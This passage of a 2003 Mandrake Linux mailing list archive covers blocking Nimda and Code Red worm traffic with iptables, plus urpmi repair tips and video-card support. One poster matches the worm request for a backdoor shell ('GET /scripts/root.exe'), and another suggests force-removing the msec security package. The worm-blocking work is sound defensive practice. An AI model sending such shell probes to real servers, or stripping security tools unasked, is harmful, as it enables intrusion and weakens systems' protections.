_passive_ response... block subsequent packets with iptables...  This,
I've toyed with in several ways...  the one I prefer; but still need to
debug is having apache write $REMOTE_ADDR to a pipe which is connected to
a listener that can issue an immediate 'drop $REMOTE_ADDR 80', a script I
wrote -- and currently reworking -- which creates an iptables entry, and
saves the info for refreshing/reloading iptables after a reboot, etc...

Altough, to keep the iptables short so as not to impact performance too
much, I'm moving towards blocking the Nimda packets for a few minutes,
then removing the block.

OO.  doing a quick review of this msg, I just noticed for the
first time that the Nimda attack is not in the usual order...   looks like
my bug is not providing for all possibilities and using the first one to
arrive...  :^P  I've been focusing on GET /scripts/root.exe...

What have you tried in this matter?  Feel free to take this thread offline
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Re: [expert] MS crud

2003-03-14 Thread Dave Laird
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Good evening, Pierre...

On Friday 14 March 2003 06:04 pm, Pierre Fortin wrote:

 Got a pointer to the strings' stuff...?  I'm running 8.2 on my main
 server (9.0 issues)...

http://articles.linuxguru.net/view/125

It would seem, based upon my reading the page, that most of us will have to
patch our kernels before this will work, so being somewhat idle, I promptly
downloaded the patch and applied it to the RedHat kernel running on one of
my spare boxes, rebooted and tested it. Heck, it works. However, I should
say that it slowed things down quite a bit, running only 64M of memory. I
don't have anything scientific to prove that, just the observation. However,
within five minutes, it did capture and DROP a set of packets. I was
impressed. 

 What have you tried in this matter?  Feel free to take this thread offline
 -- we can summarize back...

There it is. I'm going to experiment some more with this with a box and see
if there are any additional drawbacks to using an iptables filter to trap
Code Red. Then I'll summarize back here what I find. I'm still somewhat
surprised how easily it all flew together, and it works! 8-) 

Dave
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Re: [expert] 9.1 comming?

2003-03-14 Thread Greg Meyer
On Friday 14 March 2003 08:35 pm, Pierre Fortin wrote:


   Does Mdk even try just *starting* the applications included in a
 release?

 I'm still quite miffed at 9.0 for a number of reasons; however, last
 night, I asked another list member if ohphone just *started* in 9.1rc2...


   NOPE!  pwlib problem

Did anybody test it on the current cooker?  IIRC, rc2 was almost 3 weeks ago 
now.
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Re: [expert] ATI Radeon 8500 DVI + mdk9.0

2003-03-14 Thread et
On Friday 14 March 2003 05:41 pm, Bryan Whitehead wrote:
 Will Mandrake 9.0 work out of the box with this card?

 or do I need todo some extra hacking?

 I only need 2D. No hardware 3D needed.

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 yes it works out of the box on the ATI 8500DVI installed in a box here. i 
have not checked 3d yet.

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[expert] Urpmi and rpmdrake: Everything already installed

2003-03-14 Thread Rob Blomquist
The subject says it all.

I am having constant problems with this, and the Mandrake page does 
not give any idea why this is occuring. I have now tried twice to run 
urpmi.update cdrom8 without any satisfaction.

any ideas about what I can really do to fix this?

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it said 'Requires Windows 95 or better'. So I installed Linux and 
lived
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Re: [expert] ATI Radeon 8500 DVI + mdk9.0

2003-03-14 Thread Bryan Whitehead
Todd Lyons wrote:
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Bryan Whitehead wrote on Fri, Mar 14, 2003 at 02:41:18PM -0800 :

Will Mandrake 9.0 work out of the box with this card?
or do I need todo some extra hacking?
I only need 2D. No hardware 3D needed.


2D should be supported in 9.1 (I'll assume that was a typo).  Did the
RC's work on this card or have you not had a chance to test it?  If you
wanna swing by the office, I can burn you a set of CD's for RC2 (but
Final should be out very soon, so it's worth waiting to test those
download CD's IMHO).
No I ment 9.0

The only problem I have with mdk9.1rc1 is am-utils (amd) is missing and 
I cannot remove msec... :-P

I'll be giving rc2 a try next week, hope it's not too late. :)

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Re: [expert] Urpmi and rpmdrake: Everything already installed

2003-03-14 Thread Rolf Pedersen
Rob Blomquist wrote:
The subject says it all.

I am having constant problems with this, and the Mandrake page does 
not give any idea why this is occuring. I have now tried twice to run 
urpmi.update cdrom8 without any satisfaction.

any ideas about what I can really do to fix this?

One popular fixer (unknown whether it addresses your particular situation):

1)  Make sure no rpm/urpmi-related process is running.
2)  rm -f /var/lib/rpm/__db.00*
3)  rpm --rebuilddb
rolf


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Re: [expert] Urpmi and rpmdrake: Everything already installed

2003-03-14 Thread Andy Davidson
On Fri, Mar 14, 2003 at 07:51:00PM -0800, Rolf Pedersen wrote:
 Rob Blomquist wrote:
 The subject says it all.
 
 I am having constant problems with this, and the Mandrake page does 
 not give any idea why this is occuring. I have now tried twice to run 
 urpmi.update cdrom8 without any satisfaction.
 
 any ideas about what I can really do to fix this?
 
 
 One popular fixer (unknown whether it addresses your particular situation):
 
 1)  Make sure no rpm/urpmi-related process is running.
 2)  rm -f /var/lib/rpm/__db.00*
 3)  rpm --rebuilddb

Another possibility, which is what mine turned out to be, is described
in the Mandrake 9.0 errata. See
http://www.mandrakelinux.com/en/errata.php3#urpmi described thusly:

  Error scenario: When using urpmi or rpmdrake, there is an error about
  package not found before accessing the CD-ROM. Another possible error
  message is Everything already installed.

  Why: The installer misconfigured the medium description of
  Contribution packages.

  Solution: Insert the Installation CD (CD-ROM #1) and issue the command
  urpmi.update cdrom8 as root.

andy

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Re: [expert] ATI Radeon 8500 DVI + mdk9.0

2003-03-14 Thread James Sparenberg
On Fri, 2003-03-14 at 19:44, Bryan Whitehead wrote:
 Todd Lyons wrote:
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  Bryan Whitehead wrote on Fri, Mar 14, 2003 at 02:41:18PM -0800 :
  
 Will Mandrake 9.0 work out of the box with this card?
 or do I need todo some extra hacking?
 I only need 2D. No hardware 3D needed.
  
  
  2D should be supported in 9.1 (I'll assume that was a typo).  Did the
  RC's work on this card or have you not had a chance to test it?  If you
  wanna swing by the office, I can burn you a set of CD's for RC2 (but
  Final should be out very soon, so it's worth waiting to test those
  download CD's IMHO).
 
 No I ment 9.0
 
 The only problem I have with mdk9.1rc1 is am-utils (amd) is missing and 
 I cannot remove msec... :-P
 
 I'll be giving rc2 a try next week, hope it's not too late. :)

If what I've heard is true... grab 9.1 release over the weekend...!  As
for msec... rpm -e msec --nodeps. works fine for me *grin*

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Re: [expert] Urpmi and rpmdrake: Everything already installed

2003-03-14 Thread Rob Blomquist
On Friday 14 March 2003 07:32 pm, Rob Blomquist wrote:
 The subject says it all.

 I am having constant problems with this, and the Mandrake page does
 not give any idea why this is occuring. I have now tried twice to
 run urpmi.update cdrom8 without any satisfaction.

 any ideas about what I can really do to fix this?

I did figure it out after sending my note, and here is what worked 
like a charm:

urpmi.update -a

Which updates all the sites in your list. 

Mine did not work for any of the sites I had listed, and updating 
everything worked like a charm. It took awhile, and a few of the ftp 
sites hung, so a ctl-c was able to kill them, allowing the next 
update to begin.

Thanks for your comments.

Rob


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